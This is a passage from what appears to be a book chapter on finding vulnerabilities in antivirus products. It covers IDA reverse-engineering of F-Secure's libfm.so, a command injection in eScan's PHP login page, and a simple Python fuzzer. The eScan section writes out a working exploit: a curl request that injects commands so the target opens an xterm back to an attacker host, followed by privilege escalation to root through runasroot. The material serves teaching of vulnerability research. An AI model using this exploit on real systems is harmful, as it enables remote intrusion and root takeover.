-rw-rw-r-- 1 root root    2386 ene 23  2014 libosid
-rw-r--r-- 1 root root   96312 nov 26  2013 libsubstatus.1.1.0.so
lrwxrwxrwx 1 root root      21 abr 19  2014 libsubstatus.1.so ->
libsubstatus.1.1.0.so
lrwxrwxrwx 1 root root      21 abr 19  2014 libsubstatus.so ->
libsubstatus.1.1.0.so
-rw-rw-r-- 1 root root    2696 ene 23  2014 safe_rm
drwxrwxr-x 2 root root    4096 abr 19  2014 x86_64

There are many libraries, but one of them should catch your attention because 

it is bigger than the other ones: libfm.so. Run the command nm -B to determine

whether you have an interesting symbol:

$ LANG=C nm -B /opt/f-secure/fssp/lib/libfm.so
nm: /opt/f-secure/fssp/lib/libfm.so: no symbols

It seems there is no symbol. However, you may have another interesting 

source of symbolic information: the list of exported symbols. This time, run 

the readelf -Ws command: 

$ LANG=C readelf -Ws libfm.so | more

Symbol table '.dynsym' contains 3820 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 00042354     0 SECTION LOCAL  DEFAULT    8
     2: 0004a0ac     0 SECTION LOCAL  DEFAULT   10
     3: 001331f0     0 SECTION LOCAL  DEFAULT   11
     4: 00133220     0 SECTION LOCAL  DEFAULT   12
     5: 00139820     0 SECTION LOCAL  DEFAULT   13
     6: 00139828     0 SECTION LOCAL  DEFAULT   14
     7: 00161aa4     0 SECTION LOCAL  DEFAULT   15
     8: 00169098     0 SECTION LOCAL  DEFAULT   16
     9: 001690a0     0 SECTION LOCAL  DEFAULT   17
    10: 001690a8     0 SECTION LOCAL  DEFAULT   18
    11: 001690c0     0 SECTION LOCAL  DEFAULT   19
    12: 0016c280     0 SECTION LOCAL  DEFAULT   23
    13: 00187120     0 SECTION LOCAL  DEFAULT   24
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    14: 000d29dc   364 FUNC    GLOBAL DEFAULT   10
_ZN21CMfcMultipartBodyPartD2Ev
    15: 0006e034   415 FUNC    GLOBAL DEFAULT   10
_Z20LZ_CloseArchivedFileP11LZFileDataIP14LZArchiveEntry
    16: 000bd8b0    92 FUNC    GLOBAL DEFAULT   10
_ZNK16CMfcBasicMessage7SubtypeEv
    17: 00000000   130 FUNC    GLOBAL DEFAULT  UND
__cxa_guard_acquire@CXXABI_1.3 (2)
    18: 00000000   136 FUNC    GLOBAL DEFAULT  UND
__cxa_end_catch@CXXABI_1.3 (2)
    19: 0006f21c   647 FUNC    GLOBAL DEFAULT   10
_Z13GZIPListFilesP11LZFileDataIP7GZ_DATA
    20: 000e42c6   399 FUNC    GLOBAL DEFAULT   10
_ZNK12CMfcDateTime6_ParseEb
    21: 000e0ce8    80 FUNC    GLOBAL DEFAULT   10 _ZN10FMapiTableD2Ev
    22: 000a8a6c   163 FUNC    GLOBAL DEFAULT   10
_ZN13SISUnArchiver12uninitializeEv
 (…)

Wow! This reveals a lot of symbols (3,820 entries according to readelf). The

symbol names are mangled, but IDA can show them unmangled. Having such 

a large number of symbols will defi nitely make it easier to reverse-engineer this 

library. To begin, fi lter the results to determine whether this library is the one 

responsible for parsing fi le formats, unpacking compressed fi les, or performing 

other relevant tasks:

$ LANG=C readelf -Ws libfm.so | egrep -i "(packer|compress|gzip|bz2)"
 | more
    19: 0006f21c   647 FUNC    GLOBAL DEFAULT   10
_Z13GZIPListFilesP11LZFileDataIP7GZ_DATA
    41: 000af770    47 FUNC    GLOBAL DEFAULT   10
_ZN17LzmaPackerDecoderD1Ev
    47: 000ae0c8     7 FUNC    WEAK   DEFAULT   10
_ZN20HydraUnpackerContext13confirmActionEjPc
    55: 000a2ae8   169 FUNC    GLOBAL DEFAULT   10
_ZN29FmPackerManagerImplementation18packerFindNextFileEiP17FMF
INDDATA_struct
    59: 000b1b04  7 FUNC    WEAK   DEFAULT   10 
_ZN19FmUnpackerInstaller28packerQueryArchiveMagicBytesERSt6vectorI
13ArchMagicByteSaIS1_EEm
    75: 000adff4    11 FUNC    WEAK   DEFAULT   10
_ZNK20HydraUnpackerContext12FmFileReader13getFileStatusEv
   78: 000a5724  54 FUNC    GLOBAL DEFAULT  10 _ZN14FmUnpackerCPIOD0Ev
   83: 00134878  15 OBJECT  WEAK   DEFAULT  12 _ZTS12FmUnpacker7z
   84: 000a15d8  54 FUNC    GLOBAL DEFAULT  10 packerGetFileStat
   94: 000adba4   7 FUNC    GLOBAL DEFAULT  10 
_ZN14FmUnpackerSisX15packerWriteFileEPvS0_lPKvmPm
   122: 000a1948  7 FUNC    GLOBAL DEFAULT   10 
(…)
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Bingo! It seems that the code for compressed fi le formats, packers, and so 

on is implemented in this library. Launch IDA and open this library. After the 

initial auto-analysis, the Functions window is populated with the unmangled 

names, as shown in Figure 12-1.

Figure 12-1:  The library libfm.so opened in IDA Pro

As you can see in the list of functions on the left side, a lot of functions have 

useful names, but what is the next step? Typically, when I begin a new project 

with the aim of discovering vulnerabilities, I start by fi nding the interesting 

memory management functions of the application (malloc, free, and similar 

functions) and start digging from that point. On the left side, in the Functions 

window, click the Function Name header to sort the function listings by name, 

and then search for the fi rst match for a function containing the word mal-

loc. In this example, two listings have the name FMAlloc(uint). One is the

thunk function and the other is the actual function implementation. The 

function implementation is referenced by the thunk function and the Global
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Object Table (GOT), while the thunk function is referenced by the rest of the

program. Click the X key on the thunk function to show its cross references, 

as shown in Figure 12-2.

Figure 12-2:  Find the code references to FMAlloc(uint).

You have a total of 248 code references to this function, which is effectively 

a malloc wrapper function. It is now time to analyze the function FMAlloc to 

see how it works.

By looking at FMAlloc’s disassembly, you can see that it starts by checking 

to see whether some global pointer is not NULL. This function is used to get a 

pointer to the LIBC’s function malloc:

.text:0004D76C ; _DWORD __cdecl FMAlloc(size_t n)

.text:0004D76C                 public _Z7FMAllocj

.text:0004D76C _Z7FMAllocjproc near  ; CODE XREF: FMAlloc(uint)j

.text:0004D76C n    = dword ptr  8

.text:0004D76C

.text:0004D76C   push  ebp

.text:0004D76D   mov   ebp, esp

.text:0004D76F   push  edi

.text:0004D770   push  esi

.text:0004D771   push  ebx

.text:0004D772   sub   esp, 0Ch
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.text:0004D775   call  $+5

.text:0004D77A   pop   ebx

.text:0004D77B   add   ebx, 11CBAEh

.text:0004D781   mov   eax, ds:(g_fileio_ptr - 16A328h)[ebx]

; My guess is that it's returning a pointer to "malloc".
.text:0004D787   mov   eax, [eax+24h]

; Is the pointer to malloc NULL?
.text:0004D78A   test  eax, eax
.text:0004D78C   mov   edi, [ebp+n]
.text:0004D78F   jz    short loc_4D7B0

If the function pointer returned in 0x4d787 is not NULL, it continues normally

with the next instruction; otherwise, the branch to 0x4D7B0 is taken. If you

follow this jump, you discover the following code:

.text:0004D7B0 loc_4D7B0: ; CODE XREF: FMAlloc(uint)+23j

.text:0004D7B0      sub     esp, 0Ch

.text:0004D7B3      push   edi             ; size

.text:0004D7B4      call   _malloc

.text:0004D7B9      add     esp, 0Ch

.text:0004D7BC      push    edi             ; n

.text:0004D7BD      push    0               ; c

.text:0004D7BF      push    eax             ; s

.text:0004D7C0      mov     esi, eax

.text:0004D7C2      call   _memset

.text:0004D7C7      lea     esp, [ebp-0Ch]

.text:0004D7CA      pop     ebx

.text:0004D7CB      mov     eax, esi

.text:0004D7CD      pop     esi

.text:0004D7CE      pop     edi

.text:0004D7CF      leave

.text:0004D7D0      retn

.text:0004D7D0 _Z7FMAllocj     endp

This part of the code allocates memory as much as specifi ed by the arguments 

the function receives (the size is stored in the EDI register) at 0x4D7B3. Then, it 

calls memset over the function pointer returned by malloc to initialize the buffer

to 0x00s. There are at least two bugs here. The fi rst one is that there is not a check 

for invalid allocation sizes given to the malloc function. You can pass -1, which 

is translated to 0xFFFFFFFF in a 32-bit application or 0xFFFFFFFFFFFFFFFF in a

64-bit application, and it tries to allocate 4GB in 32-bit or 16EiB (exbibytes) in 

64-bit platforms. Obviously, it simply fails because that is the maximum virtual 

memory range that can be addressed. You can also pass zero, which returns a 

valid pointer, but any attempt to write anything to that allocated memory risks 

corrupting the heap metadata or other previously allocated memory blocks.
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The second bug is even easier to spot: there is no check at all after the 

malloc call to determine whether it failed. So, if you can pass an invalid size

(such as –1), it causes the malloc function to fail (by returning a null pointer). 

Then, FMAlloc continues by calling memset to clear the newly allocated mem-

ory pointer. This entire function call is then equivalent to memset(nullptr, 

0x00, size_t(-1)), resulting in an access violation exception or a segfault 

(segmentation fault).

Okay, so you discovered your fi rst bug in the F-Secure libfm.so library.

What is your next step? It is time to discover whether the function FMAlloc

is called with unsanitized input that is user controlled. The input can come 

from reading an input fi le, while parsing its format, and then some fi elds are 

passed to FMAlloc without further sanitation or checks. Typically, a size fi eld 

in a fi le format that is read and used to allocate memory using FMAlloc is an 

interesting target. The function InnoDecoder::IsInnoNew, which is one of the

many cross-references to FMAlloc, is an example of that. In this function, there

are a few calls to initialize internal structures and to read the DOS header 

of an InnoSetup-compressed executable, the PE header, and other headers, 

as well as InnoSetup’s own header. After such function calls, you have the 

following code:

.text:F72E5743    jz      short loc_F72E57B1

.text:F72E5745    sub     esp, 0Ch

.text:F72E5748    push    [ebp+n]         ; n

.text:F72E574E    call    __Z7FMAllocj    ; FMAlloc(uint)

.text:F72E5753    add     esp, 10h

.text:F72E5756    test    eax, eax

.text:F72E5758    mov     [ebp+s], eax

.text:F72E575E    jz      short loc_F72E57B1

.text:F72E5760    push    ecx

.text:F72E5761    push    [ebp+n]         ; n

.text:F72E5767    push    0               ; c

.text:F72E5769    push    eax             ; s

.text:F72E576A    call    _memset

.text:F72E576F    add     esp, 10h

This code calls FMAlloc, passing the argument n. It so happens that n is actu-

ally read directly from the fi le buffer, so by simply setting this 32-bit unsigned 

value of the corresponding fi eld in the input fi le to 0xFFFFFFFF (–1), you trigger 

the bug you just uncovered. To test this bug, you have to create (or download) 

an InnoSetup and modify the fi eld in question to the value 0xFFFFFFFF. When

a vulnerable (old) version of F-Secure Anti-Virus analyzes such a fi le, it crashes 

because it attempts to write to a null pointer.

You have just discovered an easy remote denial-of-service (DoS) attack vector 

in the InnoSetup installer fi les analyzer code of F-Secure, and that is because of 
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a buggy malloc wrapper function. The InnoDecoder::IsInnoNew function is justw

one vulnerable function. There were many more, such as LoadNextTarFilesChunk, 

but according to the vendor they are now all fi xed. As an exercise, you can verify 

whether this is true.

Remote Services

Static analysis can be applied to any other source code listing and not just a 

disassembler code listing. For example, this section covers a bug in eScan Antivirus 

for Linux that can be discovered by statically analyzing the PHP source code 

of the management web application. It took one hour to discover this vulner-

ability by taking a look at the installed components. eScan Antivirus for Linux 

consists of the following components:

■ A multiple antivirus scanner using the kernels of both Bitdefender and 

ClamAV

■ An HTTP server (powered by Apache)

■ A PHP application for management

■ A set of other native Executable and Linkable Format (ELF) programs

These components must be installed separately using the appropriate DEB 

package (for Ubuntu or other Debian-based Linux distributions). The vulnerable 

package versions of this product are shown here:

■ escan-5.5-2.Ubuntu.12.04_x86_64.deb

■ mwadmin-5.5-2.Ubuntu.12.04_x86_64.deb

■ mwav-5.5-2.Ubuntu.12.04_x86_64.deb

You do not need to install the packages to perform static analysis for the 

purpose of fi nding vulnerabilities. You just need to unpack the fi les and take 

a look at the PHP sources. However, naturally, to test for possible vulner-

abilities, you need to have the product deployed and running, so you should 

install it anyway.

The command to install the eScan DEB packages in Debian-based Linux 

distributions is $ dpkg -i *.deb.

After you install the application, a set of directories, applications, and so on 

are installed in the directory /opt/MicroWorld, as shown here:

$ ls /opt/MicroWorld/
bin  etc  lib  sbin  usr  var

It is always interesting for local applications to look for SUID/SGID fi les (see 

Chapter 10 for more information). However, in the case of this specifi c applica-

tion, even when it is remote, you should also check for SUID/SGID fi les for a 
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reason that will be explained later on. The command you can issue in Linux or 

Unix to fi nd SUID fi les is as follows:

 $ find . -perm +4000
/opt/MicroWorld/sbin/runasroot

This command reveals that the program runasroot is SUID. According to 

its name, the purpose of this program is clear: to run as root the commands 

that are passed to it. However, not all users can run it, only the users root

and mwconf (a user created during the installation). The PHP web application, 

running under the context of the installed web server, runs as this user. This 

means that if you manage to fi nd a remote code execution bug in the PHP web 

application, you can simply run commands as root, because the user mwconf is

allowed to execute the SUID application runasroot. If you can manage to fi nd 

such a bug, it would be extremely cool.

Take a look at the PHP application installed in the directory /opt/MicroWorld

/var/www/htdocs/index.php:

$ find /opt -name "*.php"
/opt/MicroWorld/var/www/htdocs/index.php
/opt/MicroWorld/var/www/htdocs/preference.php
/opt/MicroWorld/var/www/htdocs/online.php
/opt/MicroWorld/var/www/htdocs/createadmin.php
/opt/MicroWorld/var/www/htdocs/leftmenu.php
/opt/MicroWorld/var/www/htdocs/help_contact.php
/opt/MicroWorld/var/www/htdocs/forgotpassword.php
/opt/MicroWorld/var/www/htdocs/logout.php
/opt/MicroWorld/var/www/htdocs/mwav/index.php
/opt/MicroWorld/var/www/htdocs/mwav/crontab.php
/opt/MicroWorld/var/www/htdocs/mwav/action.php
/opt/MicroWorld/var/www/htdocs/mwav/selections.php
/opt/MicroWorld/var/www/htdocs/mwav/savevals.php
/opt/MicroWorld/var/www/htdocs/mwav/status_Updatelog.php
/opt/MicroWorld/var/www/htdocs/mwav/header.php
/opt/MicroWorld/var/www/htdocs/mwav/readvals.php
/opt/MicroWorld/var/www/htdocs/mwav/manage_admins.php
/opt/MicroWorld/var/www/htdocs/mwav/logout.php
/opt/MicroWorld/var/www/htdocs/mwav/AV_vdefupdates.php
/opt/MicroWorld/var/www/htdocs/mwav/login.php
/opt/MicroWorld/var/www/htdocs/mwav/main.php
/opt/MicroWorld/var/www/htdocs/mwav/crontab_mwav.php
/opt/MicroWorld/var/www/htdocs/mwav/main_functions.php
/opt/MicroWorld/var/www/htdocs/mwav/update.php
/opt/MicroWorld/var/www/htdocs/mwav/status_AVfilterlog.php
/opt/MicroWorld/var/www/htdocs/mwav/topbar.php
/opt/MicroWorld/var/www/htdocs/common_functions.php
/opt/MicroWorld/var/www/htdocs/login.php
(…)
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Notice that there are a lot of PHP fi les. If you open the fi le index.php (the very

fi rst page that is usually served by the web server), you will discover that it is 

not very exciting. However, inside it, there is a section of code that references 

the PHP script login.php:

 (…)
            <form method="post" action="login.php">
            <table class="tabledata" width="400" align="center"
cellspacing="5">
(…)

Now open the fi le and check how it performs authentication. Perhaps 

you can find some way to bypass it. It starts by checking whether the 

CGI REQUEST_METHOD used was not the GET method (as opposed to the POST

method, for example):

 (…)
<?php
include("common_functions.php");
// code for detection of javascript and cookie support in client browser

if(strpos($_SERVER["REQUEST_METHOD"],"GET") !== false )
{
       header("Location: index.php");
       exit();
}
(…)

Then, a set of checks for actions are performed that are completely irrelevant 

to your purposes. It is worthwhile noting how $runasroot is referenced:

 (…)
$passwdFile="/opt/MicroWorld/etc/passwd";
$product=trim($_POST['product_name']);
$username=trim($_POST['uname']);
$passwd = trim($_POST["pass"]);
$language = $_POST["language"];
$conffile = "/opt/MicroWorld/etc/auth.conf";
$auth_conf = false;
if(file_exists($conffile))
{
       Upgrade_Old_Auth_Conf($conffile);
       $auth_conf = MW_readConf($conffile, "#", '', '"');
}
else
{
       $auth_conf = array();
       $auth_conf['auth']['type'] = 0;
       exec("$runasroot /bin/touch $conffile");
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exec("$runasroot /bin/chown mwconf:mwconf $conffile");
       MW_writeConf($auth_conf,$conffile,"",'"');
}
(…)

The PHP script is reading from the arguments sent to the PHP application some 

interesting fi elds (uname(( , short for user name, and pass, short for password), and,

more interestingly, it is simply calling exec($runasroot) using some variables. 

However, the $conffile is hard-coded in the PHP application, and as so you can-

not infl uence it. Can you somehow infl uence any other exec($runasroot) calls? 

If you continue to analyze this PHP fi le, you will discover a suspicious check:

(…)
$retval = check_user($username, "NULL", $passwdFile, "NULL");
list($k,$v)=explode("-",$retval);
if($v != 0 )
{
  header("Location: index.php?err_msg=usernotexists");
  exit();
}
elseif( strlen($passwd)<5 )
{
  header("Location: index.php?err_msg=password_len");
  exit();
}
elseif( preg_match("/[|&)(!><\'\"` ]/", $passwd) )
{
  header("Location: index.php?err_msg=password_chars");
  exit();
}
else
{
  $retval=check_user($username,$passwd,$passwdFile,"USERS");
  list($k,$v)=explode("-",$retval);
  if($v == 0)
  {
    $retval=check_user($username,$passwd,$passwdFile,$product);
    list($k,$v)=explode("-",$retval);
    if($v == 0)
(…)

Do you see the preg_match call? It is meant to fi nd any of the following

characters and the space character: [!&)(!><'"`. You might guess at the fi rst

check that this call fi lters out typical command injections based on using shell 

escape characters. However, if that is the case, then it forgot to fi lter at least 

one more important character: the semicolon (;). Follow the control fl ow of this 

PHP script to see whether the $passwd argument sent from the client is actually 



232 Part III ■ Analysis and Exploitation

used and passed to some kind of operating system command. Eventually, if 

all the checks are passed, it calls the function check_user. Running a grep 

search for it, you discover that it is implemented in the PHP script common_

functions.php. If you open this fi le and go to the implementation of the

check_user function, you discover the following:

 (…)
function check_user($uname, $password, $passfile, $product)
{
  // name and path of the binary
  $prog = "/opt/MicroWorld/sbin/checkpass";
 $runasroot = "/opt/MicroWorld/sbin/runasroot";
  unset($output);
  unset($ret);
  // name and path of the passwd file
 $out= exec("$runasroot $prog $uname $password $passfile 

$product",$output,$ret);
  $val = $output[0]."-".$ret;
  return $val;
}(…)

Beautiful! The user-passed password fi eld is concatenated and executed via 

the PHP function exec(), which allows the use of shell escaping characters;

this, in turn, makes it possible to execute any operating system command. 

However, because you are using the semicolon character, it acts as a command 

separator; thus, the subsequent command is processed not by the SUID binary 

runasroot but rather by the shell itself and will be executing the command as 

the user running the web application mwconf. However, as you previously dis-

covered, the user was also allowed to execute the runasroot SUID executable. 

As a result, you can inject a command, but, unfortunately, you cannot directly 

run code as root. 

You have one more problem: the space character is fi ltered out. This means 

that you cannot construct long commands because spaces are forbidden. Does 

this mean that you are restricted to running one single command? Not quite, 

because you can use an old trick: you can run the command xterm, or any other 

X11 GUI applications telling it to connect back to you. However, because you 

cannot use spaces, you need to inject various commands, separated with the 

semicolon character. Also, there is one more detail: before executing the com-

mand, the script checks that the given username is valid. This is an unfortunate 

limitation, as it restricts your exploitation because you need to know at least 

one valid username. However, suppose you know a valid username (and it is 

not that diffi cult to guess in many situations); here is how your fi rst attempt to

exploit this bug might look:

$ curl -data \
"product=1&uname=valid@user.com&pass=;DISPLAY=YOURIP:0;xterm;" \
http://target:10080/login.php
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When you run this command, the vulnerable machine tries to connect back 

to the X11 server running on your machine. Then, you can simply issue the 

following command from xterm to gain root privileges:

$ /opt/MicroWorld/sbin/runasroot bash

And you are done—you are now root in the vulnerable machine! This particular 

vulnerability was discovered exclusively by using static analysis. It would not have 

been possible, or at least easy, to discover the vulnerability using only dynamic 

analysis techniques, as you did not know its inner workings. In any case, different 

techniques may fi nd different kinds of bugs.

Summary

 Static analysis is a research method used to analyze code without actually 

executing it. Usually, this involves reading the source code of the said software, 

if it is available, and looking for security lapses that allow an attacker to exploit 

the software. If a product is closed source, then binary reverse-engineering is the 

way to go. IDA is the de facto tool for such tasks. With IDA’s FLIRT technology, 

you can save time by avoiding reverse-engineering library functions compiled 

into the binary because FLIRT identifi es them for you, thus leaving you more 

interesting pieces to reverse-engineer.

Additionally, the chapter presented two hands-on examples showing how to 

statically analyze source code and the disassembly of a closed-source program 

using IDA. Through reverse-engineering a bug that can be exploited remotely 

was uncovered in the fi le format parser of an old version of F-Secure Anti-Virus 

for Linux. Similarly, we demonstrated a way to remotely inject commands and, 

thereafter, escalate privilege in the eScan antivirus for Linux administration 

console just by reading its PHP source code.

Static analysis has its limitations, especially when it could be very time-

consuming to reverse-engineer closed-source programs or when the source code 

of a software is too big to read and fi nd bugs in. The next chapter will discuss 

dynamic analysis techniques that begin where static analysis left off, by ana-

lyzing the behavior of the program during runtime and fi nding security bugs. 
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Dynamic analysis techniques, as opposed to static analysis techniques, are 

methods used to extract information based on the behavior of an application 

by running the target, instead of merely analyzing the source code or the disas-

sembly listing of the target application.

Dynamic analysis techniques are performed on computer software and hard-

ware by executing the program or programs in a real or virtualized environment 

in order to gather behavioral information from the target. You can use many 

different dynamic analysis techniques. This chapter focuses on two techniques: 

fuzzing and code coverage. The following sections will cover both techniques, 

with special emphasis on fuzzing.

Fuzzing

Fuzzing is a dynamic analysis technique that is based on providing unex-

pected or malformed input data to a target program in the hopes that it will 

cause the target to crash, thus leading to the discovery of bugs and, possibly, 

interesting vulnerabilities. Fuzzing is probably the most used technique to 

fi nd bugs in computer programs because it is relatively easy to discover bugs 

with such techniques: even the most rudimentary fuzzer has the ability to 

uncover and fi nd bugs. Performing simple fuzzing is extremely easy; however, 

C H A P T E R 
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doing it properly is not. I will discuss examples of really simple fuzzers that, 

 nevertheless, fi nd bugs. I will also discuss more complex and elaborate  fuzzers 

that use code coverage to augment the bug-fi nding capabilities of these  fuzzing 

tools or frameworks.

What Is a Fuzzer?

When people ask me what fuzzer I use, I usually answer by asking them, 

“What is a fuzzer to you?” For some people, a fuzzer is a simple mutator—a 

tool that takes input (as a template) and performs mutations on it, returning a 

different buffer based on the passed template. For others, a fuzzer is an elabo-

rate tool that not only generates mutated fi les but also tries to run those fi les 

with the target application that they are trying to fuzz. Still others think of it 

as a  comprehensive framework that lets them do more than just mutate fi les 

and test them against a target application. In my opinion, a fuzzer is actually 

the latter group: a complete framework that allows you to perform dynamic 

analysis against the target or targets of your choice. Such a framework should 

have at least the following components:

■ Mutators—Algorithms that make random changes based on a buffer 

(a template) or based on a fi le format or protocol specifi cation.

■ Instrumentation tools—Libraries or programs that let you instrument 

(debug, catch exceptions, etc.) your target application in order to catch 

exceptions and errors. This part is optional for basic fuzzers.

A more complex fuzzing framework, however, should offer more components:

■ Bug triaging tools

■ Crash management

■ Automatic crash analysis tools

■ Proof-of-concept minimizing tools

■ …

The last item in the list was intentionally left blank because, in fuzzing, 

many different analyses can be performed on the target (such as employing 

monitoring techniques that are not exclusively based on catching crashes) or 

over the generated proofs-of-concepts or crashes. In the following sections, 

I will demonstrate fuzzing techniques using a basic random mutation strat-

egy without instrumentation or any kind of monitoring other than sitting 

and waiting for the target to crash. After that, I will move to more complete 

fuzzing solutions.
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Simple Fuzzing

A simple but effective fuzzer can be created very easily by using a basic mutation 

strategy. For example, for fuzzing antivirus products, you can create a simple 

Python script that does the following:

 1. Takes a fi le or set of fi les as input

 2. Performs random mutations on the content of the passed fi les

 3. Writes the newly generated fi les in a directory

 4. Instructs the antivirus’s on-demand scanner to scan the directory with all

the mutated samples and wait until it crashes at some point

Such a Python script is very easy to write. For my initial experiments, I will 

create a simple generic fuzzer and use the Bitdefender Antivirus for Linux. In 

any case, the script will be generic and could easily support any other antivirus 

scanner for Windows, Linux, or Mac OS X, as long as a command-line scanner 

utility exists for the desired antivirus product and platform.

The following is the entire code of this basic fuzzer:

$ cat simple_av_fuzzer.py
#!/usr/bin/python

import os
import sys
import random

from hashlib import md5

#-----------------------------------------------------------------------
class CBasicFuzzer:
  def __init__(self, file_in, folder_out, cmd):
    """ Set the directories and the OS command to run after mutating. 
    """
    self.folder_out = folder_out
    self.file_in = file_in
    self.cmd = cmd

  def mutate(self, buf):
    tmp = bytearray(buf)
    # Calculate the total number of changes to made to the buffer
    total_changes = random.randint(1, len(tmp))
    for i in range(total_changes):
      # Select a random position in the file
      pos = random.randint(0, len(tmp)-1)
      # Select a random character to replace
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      char = chr(random.randint(0, 255))
      # Finally, replace the content at the selected position with the
      # new randomly selected character
      tmp[pos] = char

    return str(tmp)

  def fuzz(self):
    orig_buf = open(self.file_in, "rb").read()

    # Create 255 mutations of the input file
    for i in range(255):
      buf = self.mutate(orig_buf)
      md5_hash = md5(buf).hexdigest()
      print "[+] Writing mutated file %s" % repr(md5_hash)
      filename = os.path.join(self.folder_out, md5_hash)
      with open(filename, "wb") as f:
        f.write(buf)

    # Run the operating system command to scan the directory with the av
    cmd = "%s %s" % (self.cmd, self.folder_out)
    os.system(cmd)

#-----------------------------------------------------------------------
def usage():
  print "Usage:", sys.argv[0], "<filename> <output directory> " + \
        "<av scan command>"

#-----------------------------------------------------------------------
def main(file_in, folder_out, cmd):
  fuzzer = CBasicFuzzer(file_in, folder_out, cmd)
  fuzzer.fuzz()

if __name__ == "__main__":
  if len(sys.argv) != 4:
    usage()
  else:
    main(sys.argv[1], sys.argv[2], sys.argv[3])

This very basic example creates a CBasicFuzzer class with only three 

methods: the constructor ( __init__), mutate, and fuzz. The mutate method takes

as input a string buffer, and then it replaces a random number of bytes in that 

buffer, at random locations, with random characters. The fuzz method reads a 

fi le (usually the input template), mutates the read buffer, and saves the mutated 

buffer as a new fi le (named by calculating the mutated buffer’s MD5 hash); this 

process is repeated 255 times. Finally, after creating all the 255 mutations, it

runs one operating system command to tell the antivirus scanner to scan that 

directory. In short, all the fuzzer does is create 255 mutated fi les, store them in 

a single directory, and fi nally instruct the antivirus software to scan that folder.
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In the following example, the fuzzer is instructed to create 255 random 

 mutations of the Executable and Linkable Format (ELF) program /bin/ls, write

them in the out directory, and then run the bdscan command to tell Bitdefender 

Antivirus for Linux to analyze that directory:

$ python ../simple_av_fuzzer.py /bin/ls out/ bdscan
[+] Writing mutated file '27a0f868f6a6509e30c7420ee69a0509'
[+] Writing mutated file '9d4aa7877544ef0d7c21ee9bb2b9fb17'
[+] Writing mutated file '12055e9189d26b8119126f2196149573'
(…252 more files skipped…)
BitDefender Antivirus Scanner for Unices v7.90123 Linux-i586
Copyright (C) 1996-2009 BitDefender. All rights reserved.
This program is licensed for home or personal use only.
Usage in an office or production environment represents
a violation of the license terms

Infected file action: ignore
Suspected file action: ignore
Loading plugins, please wait   
Plugins loaded.

/home/joxean/examples/tahh/chapter18/tests/out/
b69e85ab04d3852bbfc60e2ea02a0121  ok
/home/joxean/examples/tahh/chapter18/tests/out/
a24f5283fa0ae7b9269724d715b7773d  ok
/home/joxean/examples/tahh/chapter18/tests/out/
dc153336cd7125bcd94d89d67cd3e44b  ok
(…)

Even though this fuzzing method is rudimentary, it does work. The fuzzing 

results depend mainly on the quality of the targets (for example, how buggy 

the antivirus product is that you are testing against) and the quality of the 

input samples.

Automating Fuzzing of Antivirus Products

In the previous section, I created a basic fuzzer. It works in some cases, but if the 

target application crashes, some important questions are left unanswered: How 

does it crash? Where does it crash? Why does it crash? If the antivirus scanner

crashes while analyzing the very fi rst fi le, it will not continue analyzing all the 

other fi les in the directory; what can you do in this case? With such a simple 

fuzzing approach, how can you determine which fi le caused the antivirus 

 scanner to crash? And how can you continue analyzing the other fi les?

The answer for most of these questions is always the same: combine auto-

mation with debugging. Writing a basic fuzzer, like the one in the previous 

section, is very easy. Writing a fuzzer that captures crash information, manages 

it, moves the proofs-of-concepts to other directories, and continues scanning 
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all the other fi les is substantially more complex. Indeed, fuzzing can be done 

at varying levels of complexity: from taking a very simple approach, as when 

using approximately fi ve lines of shell script, to using very complex frameworks 

that employ debuggers, code coverage, corpus distillation, and so on.

Using Command-Line Tools

One of the simplest examples of automation that answers some of the questions 

posed earlier addresses these questions using command-line tools, at least in Unix 

environments. For example, you can get information about crashes by running 

the command ulimit -c unlimited before running the antivirus  scanner; then, 

if the target process crashes, the operating system generates a “core” dump fi le 

to disk. Also, to determine which fi le is crashing the antivirus, why not execute 

the antivirus scanner for each fi le instead of for the whole directory?

This section shows some modifi cations you can make to the sample Python 

fuzzer script used in the previous section. However, keep in mind that this 

approach is still a rudimentary form of monitoring the target. These are the 

steps that are covered here:

 1. Run the command ulimit -c unlimited before executing the antivirus

scanner.

 2. Run the antivirus scanner for each fi le instead of for the whole directory.

 3. If there is a “core” fi le, move it into some directory with the crashing

proof-of-concept.

 4. Instead of creating just 255 modifi cations, create random mutations con-

tinuously, until you stop the fuzzer.

Add the following lines right after the last import statement:

…
import shutil

#-----------------------------------------------------------------------
RETURN_SIGNALS = {}
RETURN_SIGNALS[138] = "SIGBUS"
RETURN_SIGNALS[139] = "SIGSEGV"
RETURN_SIGNALS[136] = "SIGFPE"
RETURN_SIGNALS[134] = "SIGABRT"
RETURN_SIGNALS[133] = "SIGTRAP"
RETURN_SIGNALS[132] = "SIGILL"
RETURN_SIGNALS[143] = "SIGTERM"

#-----------------------------------------------------------------------
def log(msg):
 print "[%s] %s" % (time.asctime(), msg)
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Then, I replace the code of the CBasicFuzzer.fuzz() method with the 

 following code:

  def fuzz(self):
    log("Starting the fuzzer...")
    orig_buf = open(self.file_in, "rb").read()

    log("Running 'ulimit -c unlimited'")
os.system("ulimit -c unlimited")

    # Create mutations of the input file until it's stopped
    while 1:
      buf = self.mutate(orig_buf)
      md5_hash = md5(buf).hexdigest()
      log("Writing mutated file %s" % repr(md5_hash))
      filename = os.path.join(self.folder_out, md5_hash)
      with open(filename, "wb") as f:
        f.write(buf)

      # Run the operating system command to scan the file we created
      cmd = "exec %s %s > /dev/null" % (self.cmd, filename)
      ret = os.system(cmd)
      log("Running %s returned exit code %d" % (repr(cmd), ret))

if ret in RETURN_SIGNALS:
        # If the exit code of the process indicates it crashed, rename
        # the generated "core" file.
        log("CRASH: The sample %s crashed the target.
Saving information..." % filename)
        shutil.copy("core", "%s.core" % filename)
      else:
        # If the proof-of-concept did not crash the target, remove the
        # file we just created
        os.remove(filename)

At the beginning of the method fuzz(), after reading the original template 

fi le, the command ulimit -c unlimited runs. Then, instead of creating 255

fi les as the previous script did, it loops forever. The command was modifi ed 

to run the scanner against each fi le while redirecting the output to /dev/null. 

Previously the scanner ran against the whole directory. Under Unix, the exit 

code of a process that crashed is actually the signal it crashed with. Therefore, 

after executing the antivirus command-line scanner (with os.system), the

exit code is checked to detect whether the scanner crashed. For example, if 

the exit code is 139, it means that a SIGSEGV signal was raised for the process

(a segmentation fault). If the exit code is in any of the interesting signals, the 

core fi le associated with the crashing fi le is copied; otherwise, it is removed. 

This fuzzer will keep generating modifi cations (mutations) based on the 
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input template fi le forever, saving the core fi les (in case of a crash) and the 

